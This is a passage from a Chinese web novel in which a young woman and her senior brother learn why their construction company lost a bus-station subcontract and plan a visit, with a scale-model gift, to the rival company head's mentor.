后来有苏丽珍拿主意,开了建筑公司后,又三不五时来找苏丽珍碰头。 哪怕苏丽珍上学离家了,他也总喜欢往火锅店跑,苏家几乎就成了他半个家一样。 所以苏卫华夫妻对建筑公司的大事小情不说了如指掌,也是七七八八。 师兄妹两个计划揽下一部分长途客运站的施工项目,这么大的事,他们自然从头到尾都十分清楚。 所以一听女儿问,两人就把事情前因后果都解释了一遍。 原来这事一开始确实如丁大勇跟苏丽珍电话里说的那样,一度十分顺利。 不说丁大勇,就连薛有粮也认为这事是“手拿把掐”,因为不光是省里那个规划处的领导,就是元旦时薛老爷子在请一个相熟的老朋友喝酒时,也从对方口中听到了确切的口信。 省里对他们“筑梦”公司十分满意,虽说资质和履历方面单薄了点,但他们公司有态度、有技术,口碑也不错,这些还是很打动人的。 而长途客运站的工程虽然大,但主要施工方是第四建筑公司,他们只是过来做些零散小活儿,既不会抢第四建筑的风头,又能给他们打配合,是再合适不过的选择了。 薛老爷子的老朋友还告诉他,估摸元旦过后,最多一个礼拜的时间,就会有人过来跟他们接洽了。 前后几个人背书,还有了确切时间,任谁都会觉得这事十拿九稳。 薛老爷子甚至因为太高兴,多喝了两杯酒,出了一身热汗,回到家不知怎么就着了凉,当天夜里就发起了高烧。 赶巧是过节期间,薛奶奶带着孩子去探亲,等第二天回来的时候,老爷子都烧迷糊了。 幸好就医比较及时,要不然人就交代了。 老爷子到底年纪大了,这一病可不轻,正应了那句“病来如山倒,病去如抽丝”,直到大前天才出院,医生叮嘱至少还要卧床休息十天半个月才行。 而丁大勇呢,因为听了薛老爷子的话,过节后就安心在家等着,想着最多一周就会有好消息上门。 谁知左等右等没有半点消息,丁大勇坐不住了,跟苏卫华夫妻商量了一下,决定还是主动去看看。 哪成想等他去找原先那个跟他要公司资料的规划处二把手时,对方却面露难色,委婉地告诉他这事恐怕是不成了。 丁大勇简直如晴天霹雳,当时就懵了,下意识就追问对方是什么原因。 对方只是含糊地说是第四建筑公司有能力独自承揽项目,不需要再另外找人协助,所以上头就决定还是把工程全部交给第四建筑完成。 丁大勇却觉得这个理由是套话,并不是真正的原因,可无论他怎么问,对方始终坚持是这个理由。 到最后被问得烦了,对方甚至开始避而不见。 丁大勇着急又上火,偏偏这时候薛老爷子又病了,老爷子这次病得凶,都烧成肺炎了,他不敢这时候去打扰老人养病,更怕老爷子听了这个坏消息病情加重,只能自己想办法。 无计可施之下,他只好转而去找那些之前帮着干过活儿的其他部门的人,可搭了不少人情后,这些人打听回来的说法也跟之前那个二把手的话没啥区别。 有人看他这么一趟趟跑不是办法,还劝他这次先算了,以后再找别的机会,这几年省里、市里的大型项目很多,别急于一时,要不然这么一趟趟地跑下去,闹得动静大了,说不好要得罪人了。 苏卫华说到这里叹了口气:“珍珍啊,我看大勇这次是真的尽力了,就是咱运气不好……他那个朋友说的也有道理,不行咱们这次就算了,你们也别给自己这么大的压力。” 苏丽珍坐在父母中间,闻言握了握两个人的手,温言道:“你们别担心,我心里有数。这世上没有谁能永远一帆风顺,我都明白的。” 听到女儿这么说,夫妻俩也就不再多言了。 他们对自家闺女有信心,偶尔一次失利不会对她造成太大影响。 倒是家里那个傻徒弟,好像钻了牛角尖,怎么也想不明白,才几天的工夫,就把自己磨得瘦了一圈。 还好闺女这个时候回来了,有闺女劝着,他也能快点转过这个弯儿。 说话间,车子到了饭店门口。 隔着车窗,苏丽珍老远就看见早早在门前等着的苏厚德和苏小麦等人。 苏丽珍一下车,众人立时纷纷迎上前。老人们拉着她的手嘘寒问暖,小的则扑上来狠狠把人抱住,大家好一顿亲香。 等进了屋,苏丽珍立即打开行李,给大家分礼物。 这次带回来的东西可不少,除了沈老爷子那份,大头还有临上车前吕新芳送的。也因为东西太多,她自己这次反而没买什么。 沈老爷子准备了很多首都特产和一些名贵的滋补品;吕新芳给家里人买了羊毛围巾、手套,还有她亲手做的兔毛护膝和真丝绣花手绢。 等热热闹闹分完了礼物,天色也有些发暗了。 苏厚德张罗着今天要亲自下厨,给苏丽珍整治一桌好菜,庆祝孩子回家。 这边冬天天黑的早,下午三点半一过就陆续有客人上门了,今天还有一个新客想办会员卡,于是苏卫华夫妻和苏小麦就先过去忙了。 苏振东也把芽芽暂时哄走。 这会儿二楼的客厅里就只剩下苏丽珍和丁大勇。 苏丽珍看了眼坐在沙发边缘,始终蔫头耷脑,半天也没敢跟自己说一句话的丁大勇,叹了口气:“大勇哥,事情经过我都听我爸他们说过了。” “你要一直这么沮丧下去吗?” 第187章 丁大勇脸上露出惭愧的神情:“珍珍,对不起,我……” “大勇哥,我承认我确实十分想要拿到长途客运站这个项目,但这不意味着我就非要达到目的不可。” “事实上,在我心里,除了你们这些我在意的人之外,任何事都不足以让我有这样的决心。” 她看着丁大勇,神情是对方从未见过的坚定。 “所以,我希望你记住我今天的话!我开公司、我挣钱,是为了让你们过上更好的生活,然后去实现你们自己的理想,快快乐乐、有滋有味地过好人生。如果在这个过程中,反而给你们带来烦恼、焦虑,那就完全跟我的设想背道而驰。” “那只会让我感到痛苦。” 丁大勇完全被自家小师妹这番话惊住了! 他从没想过,原来在师妹心里,把他们所有人看得这么重,甚至远超她自己。 他张了张嘴,有心想劝一劝师妹,其实包括师父师母在内,他们都是有手有脚的大人,他们能过好自己的日子。她不该把他们都当成自己一个人的责任。 他想说,她在乎他们大家,他们也同样爱着她t。 可是看着师妹此刻近乎倔强的眼神,他心里忽然酸胀得厉害。 他少时,家里原本被寄予厚望的兄姐不幸早逝,父亲也撒手人寰,留下病弱的母亲和嗷嗷待哺的外甥女,他不得不从一个每天只想着摸鱼抓鸟的傻小子,一夜之间成为家里的顶梁柱。 他一直以为自己这一辈子是看得到头的。 直到有了师父、师娘和小师妹。 他的人生开始变得拥有更多选择。而无论是哪一个选择,他都知道那会是一条充满希望和美好的道路,因为有人一直在背后努力陪伴着他、支撑着他。 他的小师妹,让他看到了亲情最好的样子。 这一刻,他忽然就想明白了。 没必要有那么多不甘,他已经拥有了世上最宝贵的东西。 其他的,得到了是幸运,得不到也未尝不好。 丁大勇抹了把脸,忽然伸手揉乱了苏丽珍的头发。 “傻珍珍!” 苏丽珍看着眼圈红了的师兄,想起这个上辈子以一己之力支撑两个不幸家庭的人,年纪轻轻却已经鬓生华发,忍不住鼻头一酸。 她努力眨去眼中的水汽,也故意伸手揉乱对方的短发,学着他喊道:“傻师哥!” 两人绷着脸,大眼瞪小眼对视半晌,突然一个绷不住,齐齐笑出了声。 笑闹过后,丁大勇仰靠在沙发上,双手枕在脑后,望着天花板,轻声道:“我错了,这次真的知道错了。” “这两年咱们公司发展快,越来越多的人开始知道咱们,知道我丁大勇。这事,我嘴上不说,心里其实特别激动。我知道自己不该这么兴奋,看着像得意忘形似的,但这心里就像憋了一股气儿,我越想着往下压,它就越要往外冒。我心里明白,我这就是飘了。” 苏丽珍也靠坐在沙发上,静静听着对方剖析自己。 “这次的事,我之所以反应这么大,虽然有一部分原因是我没能完成你交给我的任务而内心惭愧,但更多的还是我压根没想到自己会失败。我觉得自己做了很多,没道理最后是这么个结果。” “说白了,就是我实在接受不了,我不甘心,所以无论如何非得找人要个说法。” “现在想想,这事本就是咱们想从上面手里争取机会,成与不成都是正常,人家没必要、也没义务非得给咱什么说法。” 他有些自嘲的一笑:“想不到我丁大勇有一天也会变成这个德行,骄傲自满,还自以为是。” 苏丽珍心疼地拍了拍他的手臂。 没有人会不喜欢鲜花和掌声,为此迷了眼实在情有可原。 毕竟再怎么小心谨慎,师兄也只是一个二十一岁的年轻小伙子,其实他已经做得很好了。 而且在苏丽珍眼里,能善于自省,并及时发现自身问题的师兄本身就很了不起,毕竟师兄不像她,是活了两辈子、吃够教训的人。 于是,她开口宽慰对方道:“大勇哥,你不要过分苛责自己,咱们不怕输,但肯定想弄清楚具体输在哪儿,这本就是人之常情。老话说‘人死还要做个明白鬼’呢,这话难听却在理,所以任谁都是一样的。” 丁大勇听了这话心里十分熨帖,可很快又露出苦笑:“只是这次咱们恐怕注定要做个‘糊涂鬼’了!” 苏丽珍却笑着提醒了他一句:“大勇哥,我知道你之前是心乱了,现在你再好好想想,人家是真的没有把原因告诉你吗?” 丁大勇怔了怔,他知道小师妹不会无缘无故这么说,不由沉下心思索起来。 他再一次回想起当时那位规划处的二把手,以及自己前前后后找的那些人说过的话,一字一句分析他们给出的理由。 几乎所有人给他的回话都是一样的,他们都说是第四建筑公司可以独立完成项目,不需要别的建筑队伍协助…… 倏地,他猛然想到什么,不由瞪大了眼睛,有些不可思议地看向苏丽珍:“珍珍,难道说是第四建筑公司……是他们不愿意?” 苏丽珍点了点头,肯定了他的推测。 “我猜十有八九是这个原因。” 苏丽珍也是在之前仔细听完父母叙述的整个经过后,才有了这个猜测。 按常理说,省里突然变卦,要么就是出现了比他们公司更合适的竞争者,要么就是省里或者市里对他们不满,临时改变主意。 第一种情况,毕竟双方还没有签订合同,现在想换人完全不是问题,所以这种事犯不上保密,直接暗示他们省里另有人选就是了,没必要藏着掖着一个字也不透露。 第二种情况就更是如此了,那么大的一个行政机关,里头那么多部门、那么多人,如果真是上头对他们不满,总有人会透出一点风声,不可能所有人都统一口径。 当然世事无绝对,但是真要能做到让所有人统一口径不告诉他们真相的,那样级别的人物,他们平时连见都见不着,更遑论得罪了。说白了,就是他们算哪个牌面的,人家犯不上跟他们较这个劲。 所以这两个理由都不成立,那也就剩下几乎每个人都曾告知他们的第四建筑公司这一个对象了。 丁大勇一度觉得这话只是上面敷衍他的借口,因为按照常理,有他们这样不抢风头的小公司协助打杂,能够加速项目进程,以便第四建筑节省更多时间处理手里其他项目,这可以说是一个共赢的局面。 省里无疑是希望这样的,这一点从之前他们也积极接触“筑梦”就能看得出来,那么第四建筑也是这么想的吗? 如果不是的话,那丁大勇之前就是陷入了“灯下黑”,完全没往这方面怀疑过。 现在想想那句话:第四建筑公司能独立完成所有项目。 人家也许就是在委婉地告知他们:第四建筑公司不想有人掺和进来。 甚至再严重一点,或许人家只是单纯不想他们“筑梦”参与。 这边,丁大勇震惊了一瞬,很快便皱眉道:“可是为什么呢?咱们并没有什么得罪他们的地方啊?” “还是说,咱们加入这个项目,会对他们造成什么影响?” 首先,他们肯定是没有得罪过对方的。 为什么这么肯定呢?说来也是心酸,因为无论是体量、还是资质,他们“筑梦”都跟第四建筑公司相距甚远。别看苏丽珍笔杆子玩得溜,把自家宣传的不错,但真论起来,他们上杆子给人家当小弟都不够格。 至于说给对方造成什么影响,那就更是自己给自己脸上贴金了。 就说他们这么渴望拿到长途客运站这个项目的协助工作,为的不就是将来能有个近距离旁观和学习对方的机会吗? 所以在没有更确切的情报前,苏丽珍是真的猜不到什么原因,只能叹气道:“也许是咱们太想当然了,或许人家觉得咱们争取这个项目是在投机取巧吧。” 毕竟以“筑梦”现阶段的实力,能在长途客运站这样的大项目施工方一栏争取一个署名机会,无疑是占了大便宜,不给钱倒贴都合适那种。 虽说他们跟第四建筑并不冲突,但保不齐人家觉得他们是挖空心思过来蹭资历、蹭名气的,因此反感吧。 丁大勇也跟着叹气,但还是忍不住问道:“那咱们接下来怎么办?要放弃吗?” 苏丽珍自然不想放弃,这项目正式动工怎么也要明年四、五月份,这么长的时间,总要找机会再试一试的。 不过事情总要一步一步来,首先,她需要验证自己的猜测是否属实,看看问题究竟是不是出在第四建筑公司上。 在这之前,她需要先找人探探底。 也是每每到这种时候,她就忍不住发愁,人脉资源总是最稀缺,也最难经营的。 眼下她竟半天想不出合适的人选,想来想去,还是只能去麻烦薛老爷子。 想到薛老爷子,她看向丁大勇:“这事咱们暂且先放一放,毕竟还有时间,只是薛爷爷那里,你还打算要瞒下去吗?” 一听她提薛老爷子,丁大勇面色一僵,苦笑连连道:“我的错……原来是怕老师知道了跟我着急上火,结果现在越瞒、越不敢开口了。” 他深深吸了一口气:“明天我去看望老师的时候就告诉他吧。” 苏丽珍安抚道:“明天我跟你一块儿过去,我也想看望下他老人家。” 听说小师妹会跟自己一起去,丁大勇紧绷的情绪总算放松了一些。 师兄妹俩一直聊到外面天擦黑,一楼大t厅属于火锅的霸道香味顺着楼梯飘上二楼。 几个月没吃,苏丽珍这会儿还真有点想念这一口。 正好跟师兄聊得差不多了,看他恢复了精神,两人便一起下楼去找其他人。 他们下来的时候,刚好丁大娘带着岁岁也到了。 老太太见了苏丽珍特别高兴,拉着她的手一叠声地嘘寒问暖,瞥了眼旁边快手快脚帮着端菜的儿子一眼,见他没像之前那样臊眉耷眼的,心知是苏丽珍把人劝好了,越发高兴起来,还偷偷跟苏丽珍“咬耳朵”: “亏得是你!这个臭小子这几天好悬没把我气死,挺大个老爷儿们遇上点事不想着怎么解决,就自己在那儿要死要活的,那以后还能干点啥?以后他再犯这毛病,你就狠狠骂他,千万别给他留面子!” 苏丽珍抿嘴直乐。 她看得出丁大娘这阵子肯定没少上火,毕竟连她爸妈都在她回家路上开口问了一句后就把前因后果说得那么详细,话里话外处处向着大勇哥说话,一副大为心疼的样子。 连她爸妈尚且如此,更何况亲生母亲的丁大娘。 于是,她也故作配合道:“好,他下次再让咱们大伙儿担心,那我就狠狠说他,把他说哭鼻子了还没地儿告状!” 丁大娘边乐、边拍大腿:“就这么办!” 正说笑间,忽听那边苏卫华招呼道:“哎呀,小顾来了,快找个地方坐!” 苏丽珍一转头,见来人居然是顾英杰,忙过去打招呼:“顾大哥。” 几个月不见,顾英杰比暑假的时候白了不少,整个人沉稳中添了几分俊美,且还多了一丝书卷气。 丁大勇跟她说过,公司举办的培训课程,顾英杰总是最积极参加的一个。而且他在管理方面表现十分优秀,很能服众。 所以丁大勇还特地跟苏丽珍商量,如果今后有去大型公司学习的机会,他希望能为顾英杰争取,以期早日将对方培养成能独当一面的管理人才。 “珍珍!” 顾英杰飞快地打量了眼前的人儿几眼,发现对方清减了几分,眉头几不可见地皱了皱,只是对上对方那双清凌凌的眼睛,他立时按下心中所有翻涌的情绪,只低头将脚边一个大柳条筐往前挪了挪。 “我听丁经理说你今天回来,正好大河他们弄到了点海货,我来给你们送一些。” 苏卫华忙道:“不用不用,小顾,你拿回去自己吃。咱们不是外人,不用这么客气!” 既然已经拿过来了,顾英杰自然不会再拿回去。 最后还是交给了从厨房出来的李翠英。 这一筐看着不显,上手居然特别沉,李翠英腾筐子的时候,发现这里头有好几条足有三指宽的带鱼,近尺长的大黄花,最底下还有好几斤个头挺老大的海虾。 这一筐可得不少钱! 家里有个爱吃水产的闺女,李翠英自然知道行情,她顿时有些犯难。 她知道顾英杰和大河几人的情况,几个孩子过去日子过得艰难,这两年才有起色,平时年节就总来送东西,自家有点大事小情,人家也从来没差过事。 今天这一筐海货可着实太让人破费了。 可是收都收了,这会儿也不能给人送回去。 李翠英将鱼虾收好,很快又从自家储藏室拿出两根羊腿、一大块牛腱子肉,想了想,又把苏丽珍这次带回来的一些首都特产整理出一大包,统统塞进筐里。 于是,满满的柳条筐进了苏家转一圈出来,还是满满的状态。 另一边,苏卫华还在招呼顾英杰:“小顾,你这个点来,还没吃饭吧?留下咱一起吃吧!” 顾英杰刚想像往常一样回绝,只是话到了嘴边突然又舍不得,最终还是点头道:“那就给叔叔婶子添麻烦了。” 苏卫华笑道:“这有啥麻烦的!你难得留下,今天我给你们开瓶好酒,叫大勇他们好好陪你喝两杯。” 怕顾英杰放不开,苏卫华特地单开了一桌,只叫了丁大勇和苏振东,四人坐下喝酒聊天。 菜是好菜,酒是好酒,只是当顾英杰眼角的余光扫过隔壁桌的那道倩影时,脑海里总是浮现出前几次来店里碰到的那个叫沈瑞的男人和她对面而坐的画面,一股淡淡的惆怅便袭上心头。 他自失地一笑,人果然不能太“惯”着,现在的日子是之前想都不敢想的,可太安逸了反而生出妄念。 其实如今的一切已经是最好的安排,他合该知足的。 第188章 翌日,苏丽珍和苏振东一起早早去了食品公司。 她认真把车间和办公室都走了一遍,又简单跟各部门管理人员碰了个头,一气儿忙到上午十点多,才给丁大勇打电话,让他来接自己去看望薛有粮。 带上一早准备的首都特产,路上又买了些营养品,到薛家时已经快十一点了。 今天气温依旧很低,但是天气不错,头顶上太阳暖融融的。他们到薛家的时候,薛奶奶正陪着薛老爷子在屋里阳光能照到的地方慢慢溜达。 看见苏丽珍来了,老两口都特别高兴。 薛奶奶又是给她冲麦乳精,又是给她拿糖、洗苹果,忙得团团转。 薛老爷子也是拉着她问长问短,还嘱咐薛奶奶到国营饭店要几个菜,中午在这儿吃饭。 兄妹俩哪能让老太太忙活,丁大勇直接起身道:“师娘,外头天气冷,您别忙,我去就行!” 薛老爷子却朝他翻了个白眼:“不用你,我还有账没跟你算,你老实待着吧!” 一听这话,丁大勇心里“咯噔”一声,直觉不好,赶忙看向自家师妹。 苏丽珍看了眼老爷子面无表情的样子,心里叹口气,朝师兄递了个爱莫能助的眼神。 薛奶奶直接瞪了薛老爷子一眼:“瞧把你能的!人孩子天天来看你,还看出毛病来了?你有啥事都给我好好说!” 说罢,又“一秒换脸”,对丁大勇一脸慈爱道:“孩子,你坐下跟你老师说会话。他人老,事儿多,脑子糊涂,要是说了啥不中听的,你就多担待点。” 丁大勇哪里能应这话,心里越发紧张起来。 等薛老太太走后,薛老爷子继续不动声色地盯着丁大勇看了半晌,直把人看得如坐针毡,就在苏丽珍准备开口替自家师兄求情时,谁知老爷子忽然一声长叹,再开口时语气竟十分温和: “长途客运站的事,我都知道了。我这次病的不是时候,担子都压在大勇你一个人身上,你辛苦了。” “老师,我……”丁大勇先是震惊,之后又觉得万分惭愧。 薛老爷子却对他摆了摆手:“昨天,我两个老朋友来家里看我,把事情前因后果都告诉我了。大勇,这事你虽然处理的方式有些问题,但不能否认你的这份担当。” “我相信经历了这一回,你能看到自己身上的不足。孩子,你还年轻,年轻就是最好的本钱,你以后的路还长着,没必要为眼前这点事一直纠结。” 提点完了丁大勇,他又把目光转向苏丽珍:“既然你回来了,那我问一句,你可看出问题出在哪儿吗?” 苏丽珍也没犹豫,直接答道:“是第四建筑公司。” 薛老爷子没什么表情,只继续追问:“你是打听到了什么,还是纯粹靠自己猜测?” 老爷子知道苏丽珍手上另有一些人脉,不确定她是不是另外托了什么人打听。 苏丽珍看了眼丁大勇:“是我自己推测的……而且师兄冷静下来以后也是这样想的。” 薛老爷子脸上不禁露出欣慰的笑容:“你们现在能反应过来,那这次即便结果不尽如人意,却也不算白费功夫。” 然后直接对两人的猜测给予了肯定答复:“据我那两个老友来说,问题确实出在了第四建筑。毕竟他们是主要施工方,咱们将来都是要给对方打配合的,所以在事情谈妥前,省里肯定要先征求一下他们的意见。” “而第四建筑公司直接拒绝了。” 苏丽珍和丁大勇听完对视一眼,虽然猜到了结果,可两人心里却没有半点高兴。 事情发展到这儿实在有点棘手,他们是真的不知道哪里得罪了第四建筑公司,毕竟双方之前没有半点交集,对方为什么会对他们有这么大的意见呢? 薛老爷子显然也是百思不得其解,只能再次叹气道:“我已经托了熟人出面打听,估计这一两天就能有回信。” “现在我只t能告诉你们的是,第四建筑公司的一把手叫林东方,是第四建筑成立不久后调过来的,我退休前在第二建筑,他走马上任没多长时间我就下来了,所以跟他接触的机会不多。” “按照我所知道的,这林东方是个很有能力的人,人品也还行。不过这个人性格非常强势自我,做起事来总有几分独断专行,是个很不好说话的人。” “如果是他不愿意有人来参与长途客运站的项目,即便是打杂也不愿意,那这事虽然不好办,但也不是没有办法。毕竟第四建筑这两年手上的项目确实比较赶,在这个大前提之下,咱们又能保证不抢夺他们的风头,我找人求求情,他有八成的机率会松口。” “但是,”薛老爷子顿了顿,还是给两人打起了“预防针”,“如果是他单纯看咱们‘筑梦’不顺眼,那这事就很难了,你们就要做好失败的准备。” 虽然老爷子最后的话听上去有点荒谬,毕竟那么大的公司老总,听上去也是很有能力的人,不至于平白对他们有那么大的恶意吧? 但两人也都明白,既然能让老爷子这么郑重提出来,那它就是很有可能的。 毕竟如果不撕破脸的话,谁也不会把恶意摆在脸上。可万一呢?万一他们就真的那么倒霉,在某个不经意的时刻得罪过这个林东方或者是与他亲近之人,因此被记了仇,再借机打压…… 一切都不好说,只盼着老天爷保佑他们没那么倒霉吧。 不过这次,老天爷显然没听见他们的心声,把事情走向往最糟糕的方向安排了。 两天后,苏丽珍和丁大勇接到薛有粮电话,说是之前托人打听的事情有回信了。 两人当即赶到了薛家。 薛老爷子看见他们只有一句话:“咱们运气不好,触了林东方的眉头,他对咱们公司十分反感,很排斥合作这事。” 苏丽珍和丁大勇同时皱起了眉头。 也就是说,林东方可能并不反对有人帮忙接手那些零散活计,只是单方面不愿意跟他们“筑梦”一起共事。 苏丽珍忍不住问道:“您说是咱们触了对方的眉头,那具体是因为什么呢?” 薛老爷子沉着脸解释:“说起来,咱们也是受了无妄之灾。林东方早前因为行事风格偏激,得罪过不少人,在特殊时期,他就被一个下属诬告,给他网罗了很多罪名,遭了好几年的罪。” “诬告他的这个下属是个有手段的,曾私下收集了很多林东方的公开发言和稿件,然后断章取义,写了很多故意曲解他的文章攻讦他,还在林东方原单位里四处活动,串连那些被他得罪过的人,拉着许多人一起站出来批判他。当时不管谁敢替他说一句话,就会立即被残酷针对。” 薛老爷子说到这里,也是唏嘘中带着无奈:“而且我听说,他的这个下属当初就是因为写的一手好文章,加上处事圆滑,很会笼络人心,这才被破格提拔到他手底下。” 苏丽珍听到这里已经什么都明白了。 她苦笑道:“所以我让大勇哥去到那些干过活儿的部门单位走动、表现,加上我写的那两篇文章,落在这位林老总眼里,是不是就跟当初那个忘恩负义害他的下属行事风格一模一样?所以他认为我们也是这种爱钻研的不义小人,这才对咱们百般反感?” 丁大勇也瞪大了眼睛。 薛老爷子在两人的目光中又叹了口气。天知道,他这两天已经叹过多少次气了。 “只能说是咱们运气不好,要是旁的人,即便对人抱有偏见,也不会太过火,但是换做是做事霸道的林东方,这件事就没什么可奇怪的了!” 对于这个理由,丁大勇从惊讶和不解中回过神,直接就气笑了:“他连见都没见过咱们,就因为咱们做的一些事,令他想起一些不好的经历,他就对咱们怀有这么大的成见?” “这也太可笑了吧!他难道是在过家家吗?谁是好人,谁当坏人,全部由着他的想法来?” 苏丽珍心里也很不舒服,这种事情,她上辈子在米国也见识过不少。 说穿了还是弱肉强食的问题,因为他们的实力不如人,所以去留都只能掌握在别人手里。 也因为不是必要的,可以随时舍弃,人家自然不会考虑他们的感受。 反正看不上你就是看不上,就算把你得罪死了,又能怎样,你打得过人家吗? 不过,眼下她也不打算再说什么,以免火上浇油,毕竟生气归生气,她还是没打算放弃这个项目。 于是,她安抚了丁大勇两句,然后才郑重地看向薛老爷子:“薛爷爷,您认识什么能跟这位林老总说得上话的人吗?” 薛老爷子闻言试探道:“孩子,你还想再试一试?” 苏丽珍点了点头,肯定道:“之前弄不清原因也就罢了,现在既然知道问题出在哪儿,自然还是要试一试的。” 老爷子又看向丁大勇:“大勇,你怎么想?” 因为之前多少有了点心理准备,加上有小师妹在旁,丁大勇这次很快就冷静下来,所以没多犹豫就跟着点头道:“不甘肯定是有的,但越是这样,我越不想认输,所以我支持珍珍。” 薛老爷子脸上再次露出笑意:“好,那咱们就试试。” 说罢,老爷子沉思了一会儿,才又开口道:“说起这个林东方,我倒真想到了一个人,说不定能帮咱们说两句公道话。” 苏丽珍和丁大勇连忙竖起耳朵认真听起来。 “这人你们应该也听说过,就是凤城设计院的老院长秦玉堂,他算是林东方半个老师,两人是亦师亦友的关系。据说林东方能调职第四建筑,就是当年这位秦老院长推荐的。” 丁大勇忍不住道:“要是这位秦老院长能帮咱们说两句话,估计那个林东方会愿意听一听。” 只是问题是,他们知道这位老院长,可人家不知道他们啊! 这平白无故的,也不知道人家愿不愿意替他们说话。 “老师,您跟这位秦老院长认识吗?” 薛老爷子有些遗憾道:“认识肯定是认识,只不过我是常年跑现场的,级别也不够,平时能跟这位秦老院长接触的机会不多,大多就是打个照面,他知道有我这么一号人就不错了。” 不过他很快又想到:“我倒是有个徒弟跟秦老的一个学生关系不错,或者能帮咱们牵牵线。” 苏丽珍听完,却摇头拒绝了这个提议:“不,薛爷爷,我打算咱们这次直接去拜访这位秦老院长。” 既然那个林东方很反感托人、拉关系这种事,那他们就直接去找秦老院长,免得中间一层托一层的,闹出好大阵仗,落在那位林老总眼里,越发讨嫌。 事实上,如果不是林东方是这么个刚愎自用的性子,她其实更想直接上门去找本人,只是估计对方到时候连门都不会让他们进。 再者,他们去找秦老院长,一不是想贿赂求好处,二没办什么违法犯忌的事,左不过是为了请对方帮着说一句公道话,从林东方那里求一个客观公平的态度而已,没必要把姿态放那么低。要不然,别林东方那边还没处理好,又让这位秦老院长生出什么误会。 薛老爷子和丁大勇听她这么一说,也觉得有理。 于是,三人商量了一番,就决定先去拜访一下这位秦老院长。 第一次上门,肯定不能空着手,寻常拜访走礼用的烟酒糖茶虽然不出错,可也太过中规中矩,显不出诚意。 是的,苏丽珍是希望对方能看到他们诚意的,虽然没打算巴结任何人,但能争取一个好印象肯定不是坏事。 那个林东方拒绝跟他们合作,不就是因为对他们印象不好吗? 有了这个前车之鉴,她这次肯定是想更慎重一些。 苏丽珍思考了很久,终于被她想到一样东西,跟丁大勇和薛老爷子一商量,两人立时拍手称赞,甚至都抢着要亲自动手尝试。 苏丽珍自然满足了两人的想法,不过为了节省时间,好尽快解决问题,她还是安排了“筑梦”公司里好几个经验丰富的技工师傅一起帮忙。 大家加班加点,如此耗时两天半,终于在周末前将这件礼物制作完成。 第189章 周六上午,薛老爷子亲自带着苏丽珍和丁大勇上门拜访秦玉堂秦老院长。 秦老院长已经退休多年,只不过近些年设计院里人才断档,少不了他老人家出山坐镇t,所以又被返聘回设计院担任总顾问一职,平时周一到周五都要上班,也只有周末的时候会在家休息。 秦家所在的设计院家属楼就在薛老爷子家附近,两家离得十分近,不过这趟过来,丁大勇三人还是开了车,而且是公司里的大汽车。 这年月,大汽车无论开到哪里都是吸引眼球的,所以车子刚在设计院家属楼前小道上停好,几个一直在楼前玩耍的小孩子们立即兴奋地围了过来。 丁大勇率先下车,然后又一个起跳,翻进后边车厢里。 因为他动作敏捷利索,立即收获了正围着汽车东敲敲、西摸摸的孩子们一片惊叹羡慕的“哇”声。 苏丽珍扶着薛老爷子下了车,两人看着这架势都忍不住笑了起来。 很快,丁大勇就从车厢内部推出一个四四方方、半人高,用红色绒布罩住的物件出来。 他把这东西一气儿推到车厢边缘,让薛老爷子扶着,然后自己飞快跳下来,和苏丽珍一左一右,将东西小心翼翼地抬下了车。 这么大的阵仗,别说几个看热闹的孩子们,连两个买菜回来的妇女都忍不住驻足围观。 两人议论的动静还不小! “这是啥东西啊?光看外头罩着的这层大红绒布就要值几块钱了,里面的东西肯定便宜不了。” “谁说不是呢!也不知道是往谁家送的!” 两个妇女对视一眼,脸上同时闪过“八卦”的神情,其中一个离得苏丽珍比较近,便自来熟地凑过来打听:“闺女啊,你们这东西往谁家送啊?这里头四四方方的,是不是啥家用电器啊?” 苏丽珍朝她一笑,也没打算藏着掖着,直接大大方方道:“我们是准备拜访秦玉堂秦老先生的,这是我们为他准备的礼物。” 说着,朝丁大勇使了个眼色,后者会意,便上前将东西外头罩着的红绒布掀掉了。 看热闹的大人加小孩,看清了里面的东西,都齐齐瞪大了眼睛,几个小的更是直接兴奋地再次“哇”声一片。 原来这绒布下的竟是一个微缩建筑模型! 这模型就像是把真正的建筑物们按等比例缩小,然后统一安放在不足一平米大的木台底座上。虽然个头小了,但是上面高楼大厦、商场酒店、马路洋房都应有尽有。中间甚至还有一个小小的街心花园,里头水池花坛,青草绿树,一应俱全,简直惟妙惟肖。 这么精致的物件,别说孩子们,就是两个大人也都看直了眼,回过头来咂了咂嘴,心里也挺稀罕。 不过,她们到底是大人了,虽说住在城建设计院家属楼,家里或多或少都有从事建筑设计相关的亲人,但她们本身对这一行并没有太多兴趣,所以再过了最初的新鲜劲儿后,反而没那么稀奇了。 之前她们听眼前的小姑娘说是要送礼给秦老院长,还以为是啥值钱的好东西,没想到就是个模型。 不过说这模型不是啥好东西也不该,就算她们再外行,也能看出要造这么个物件肯定要费不少心思,说不定这钱也不少花。没见百货商店里的高档玩具都快赶上普通人半个月工资了吗?所以这么费时费力的东西肯定也便宜不了。 但是好东西和好东西还是不一样的,这模型虽好,可在她们眼里却不当吃、不当用的,再好它不也就是个摆设吗?有的摆设放久了还能当古董呢,这玩意恐怕放不了那么长时间吧…… 这么一想,两个妇女心里暗暗摇头,都觉得这三人有点不会算账,有这心思,买点好烟好酒的,不比这玩意儿强! 两个人满足了好奇心,便也没兴趣多待,不过临走前还是热情地把秦玉堂家指给苏丽珍他们看:“闺女,就这东边把头的一楼,有个小菜园的那户就是秦老院长家。今天周六,秦老院长肯定在家,你们赶紧过去吧。” 苏丽珍不知道自己精心准备的礼物被两个大婶嫌弃了,知道了也不会在意,人和人的想法不同,追求不同,子非鱼焉知鱼之乐? 她之所以当着两个人的面把这份礼物亮出来,并不是为了赢得谁的夸奖,主要是当初为了尽善尽美,这模型做得有些大,加上考虑到做好的成品后期保养不易,她又特地花钱加急订做了一个半人高的玻璃防尘罩。 这么一来,这份礼物的体积越发大了一圈,还要用卡车才方便运过来,再加上搬上搬下的,闹这么大的动静,旁人见了,不定以为他们要送多大的礼! 所以为了秦老院长的声誉问题,她来之前就跟薛老爷子和丁大勇商量好,东西下车就立马把绒布揭开,叫大伙儿都知道他们送的只是个模型而已。 毕竟模型这东西在个别人眼里宛若珍宝,在有些人眼里可能还没二斤肉实惠。 她向两个大婶道了谢,等她们离开后,才让丁大勇推着模型往秦老所在的单元门走。 丁大勇俯身在木托盘底下一扒拉,然后直起身轻轻往前一推,整个模型便自己动起来了,压根不需要人搬来抬去的。 几个小朋友又是十分捧场地连连惊呼,他们蹲下来仔细一看,这才发现原来在模型的木质托盘下还有一层不锈钢打造的托板,托板底下安了四个成人拳头大的轱辘。 